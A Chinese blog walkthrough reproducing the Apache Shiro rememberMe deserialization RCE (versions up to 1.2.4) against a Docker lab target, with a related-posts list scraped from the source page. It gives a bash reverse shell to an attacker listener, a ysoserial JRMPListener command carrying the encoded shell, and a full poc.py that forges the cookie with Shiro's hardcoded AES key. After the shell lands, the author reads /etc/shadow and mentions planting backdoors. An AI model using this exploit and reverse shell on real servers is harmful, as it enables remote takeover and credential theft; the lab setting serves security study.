Shiro是什么东西

  • Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
  • shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

原理解释https://www.freebuf.com/vuls/178014.html

什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。

漏洞位置

http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。

攻击流程图

环境搭建

靶机:192.168.43.132
攻击机:192.168.43.131

  • 获取docker镜像

    docker pull medicean/vulapps:s_shiro_1
  • 重启docker

    systemctl restart docker
  • 启动docker镜像:                                                                                                                        
    docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

  • 访问:                                                                                                                                         http://192.168.43.132:8081  /  环境搭建成功

下载工具

ysoserial的jar文件

依次执行以下命令(jar的文件名要和脚本中的一样,文件要和脚本在同一目录下)

git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests

出现了特殊问题

如果出现一下情况的话,是没有安装maven的。【解决mvn command not found:下一个就好了】

解决:mvn command not found

linux安装maven

转载:https://www.cnblogs.com/yuexiaoyun/articles/13033946.html

1、安装 wget 命令:

 yum -y install wget     

【如果提示yum command not found的话,别理他,这是安装wget命令,一般我们的都已经安装好了】

2、下载maven安装包

wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

3.解压maven安装包

tar -zxvf apache-maven-3.5.4-bin.tar.gz

4.配置maven:

 vim /etc/profile

在配置文件配置中加上:

export MAVEN_HOME=/root/apache-maven-3.5.4 (这个目录换成你的 maven 解压后的文件所在目录)

export PATH=$MAVEN_HOME/bin:$PATH

让文件生效,刷新配置文件 :

source /etc/profile

5.查看maven 版本:

mvn -version# 或者mvn -v

现在的话mvn已经可以在/etc/profile这个文件里面操作。

关键要在source /etc/profile里面进入ysoserial这个目录

cd ysoserial
mvn package -DskipTests

这样就可以了

现在就解决了mvn command not found的情况。


制作反弹shell 代码

  • 使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

转载:http://www.jackson-t.ca/runtime-exec-payloads.html

攻击机:192.168.43.131

bash -i >& /dev/tcp/192.168.43.131/999 0>&1

999端口是监听反弹端口(nc -lvnp 999)

使用ysoserial中JRMP监听模块,监听1001端口

  • 攻击机:192.168.43.131 中执行命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMS85OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'

【 ' ' 里面的是刚刚bash编码】

一定要进入ysoserial的target里面,因为要用到target里面的ysoserial-0.0.6-SNAPSHOT-all.jar

使用poc.py 生成Payload

  • 在攻击机:192.168.43.131 中生成rememberMe

    python poc.py 192.168.43.131:1001

【把poc.py也放在/ysoserial/target里面执行】

poc.py代码

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

出现了特殊问题

如果出现下面的这种情况,【Crypto.Cipher import AES ImportError】

用easy_install安装pycrypto:

easy_install pycrypto-2.6.tar.gz

转载:https://blog.csdn.net/feier7501/article/details/9265551

这里提示easy_install:command not found 【那就下一个】

用wget下载:

wget https://bootstrap.pypa.io/ez_setup.py -O - | python

转载:https://blog.csdn.net/chenji9967/article/details/100623972

然后就可以用easy_install

又出现了新的问题 。【找不到这个pycrypto-2.6.tar.gz,那就换一个再试】

还是用easy_install 下载:

easy_install pycrypto

转载:https://blog.csdn.net/weixin_34327223/article/details/92066493

这里就报错了

error: Setup script exited with error: command 'x86_64-linux-gnu-gcc' failed with exit status 1

上网搜了一下资料也是找到了解决的办法。

安装好python环境之后顺便安装对应版本的dev:

sudo apt-get install python-dev python3-dev

继续用easy_install 下载:

easy_install pycrypto

用poc.py生成rememberMe

终于成功啦。【哭死了,好辛苦啊】


监听反弹端口 999

  • 攻击机:192.168.43.131 中执行命令:

nc -lvnp 999

开启kali里面的burpsuit。

用浏览器打开,填写提供的Usename Password , 记住一定要勾选Remember Me。

抓登录界面的包。

用刚刚构造的rememberMe,放到jsessionid后面

这个时候nc的反弹shell就过来了


思考了一下,得到这个tmp下的root权限又能干什么,自己就玩了一下。

1.目录的一个遍历

2.cat /etc/shadow

3.发现这个只是读写的root权限,应该有本地提权的一些办法得到更高的权限,有了读写的权限,后门木马都可以随便放。


小结:虽然这次漏洞的复现并不是很难理解,但是网上有很多的东西都没有说明白,讲清楚或者没有遇到的问题,当自己操作起来就会发现很多bug,一个一个找,对于新手来说比较的困难,所以我就做了一个比较详细的漏洞复现。

因为自己是一个比较容易放弃的人,很高兴在面对很多困难的时候没有第一时间的放弃,最后成功的复现。

作为一个东软的大三的学生,今年对咱们大三的学生不太友好,现在是凌晨00:45我还在这里唠叨,接下来就是准备复习面试的知识,找实习工作出来打工,祝愿自己找到一份满意的工作,身体健康,早点脱单【这个有点难度哈】。

希望看过此贴的人都能够——

在试炼的终点是花开万里,愿你起程渺小,结尾壮大。

Shiro反序列化漏洞【详细解析】相关推荐

  1. 【网络安全】反序列化漏洞详细解析

    博主昵称:跳楼梯企鹅 博主主页面链接:博主主页传送门 博主专栏页面连接:专栏传送门--网路安全技术

  2. 【漏洞复现】Apache Shiro 反序列化漏洞

    Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...

  3. 实战渗透-Shiro反序列化漏洞实例

    0x01.前言 这是一次授权的渗透测试,技术含量不高,但我始终相信,每一次的积累,都是为了成就更好的自己,所以过程简洁,记录下每个知识点.对渗透而言,我更喜欢实战的体验感,那种喜悦和知识的获取感,永远 ...

  4. 4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战

    Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞.尽管该漏洞已经曝光几年,但是在实战中仍然比较实用.花了点 ...

  5. vulhub复现之shiro反序列化漏洞复现

    目录 什么是shiro? 什么是安全框架? 反序列化与序列化 shiro反序列化漏洞 怎么判断是否存在反序列化漏洞? 什么是shiro? shiro是功能强大且容易使用的java安全框架.shiro可 ...

  6. Apache Shiro 反序列化漏洞 [org.apache.shiro.web.mgt.CookieRememberMeManager]

    Apache Shiro 反序列化漏洞 2021-02-06 02:34:09,886 [http-bio-8000-exec-18] WARN  [org.apache.shiro.mgt.Defa ...

  7. Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721)

    Shiro反序列化漏洞利用详解(Shiro-550+Shiro-721) Shiro简介 Apache Shiro 是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能,Shiro ...

  8. shiro反序列化漏洞的原理和复现

    一.shiro简介 Shiro是一个强大的简单易用的Java安全框架,主要用来更便捷的认证,授权,加密,会话管理.Shiro首要的和最重要的目标就是容易使用并且容易理解. 二.shiro的身份认证工作 ...

  9. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  10. shiro反序列化漏洞修复

    文章目录 shiro反序列化漏洞修复 前言 解决方案 shiro反序列化漏洞修复 前言 最近项目在进行安全漏洞扫描的时候,出现一个shiro的反序列化漏洞的问题:目标IP站点存在Apache shir ...

最新文章

  1. PyCharm 2018 for mac 数据库实战:链接SQLite、建表、添加、查询数据
  2. 减少过敏反应的生活细节
  3. python编写程序的一般步骤-Python:开发_基本流程
  4. 成为数据专家,你只差一个Quick Insights的距离
  5. php json 转 xml格式,PHP中如何将JSON文件转XML格式
  6. Odoo(OpenERP)配置文件详解
  7. ubuntu16.04 安装 ipython
  8. FragmentPagerAdapter.notifyDataSetChanged()不能更新问题?
  9. 等值连接_【高中地理】重难点内容:16种等值线的解读和应用
  10. 自制题库答题考试软件小程序开发,把题库导入小程序里,javascript小程序
  11. CTF 杂项 隐写术 密码学及编码 取证技术
  12. win7+Ubuntu双系统安装
  13. 华为煤矿军团首登央视 | 发布会金句爆棚
  14. python中pytest教程_Pytest安装新手详细教程
  15. 爬虫出现UnicodeEncodeError: ‘latin-1‘ codec can‘t encode character *** in position 8328: Body***问题
  16. 技术员 Ghost Win7 Sp1 x86 装机版/纯净版 201710
  17. 飞书面临3个劣势,那又怎样?
  18. 武汉java工资水平
  19. Android Sensor Orientation 传感器开发
  20. 北邮网络安全-防火墙

热门文章

  1. 【opencv】 使用at和ptr指针访问像素的区别
  2. 使用xInt开源库生成Excel文档xlsx
  3. 【Wireshark系列十】wireshark怎么抓包、wireshark抓包详细图文教程
  4. Linux将已经挂载的分区取消挂载
  5. windows使用命令行创建文件echo >test.txt(可以是.gp .js .ts..)
  6. 思维升级-如何设计一个秒杀系统?
  7. 伯努利朴素贝叶斯【机器学习算法一朴素贝叶斯2】
  8. 前后端交互:form表单与模板引擎
  9. 1-4 Linux 标准目录结构FHS
  10. 频率与听感的对应关系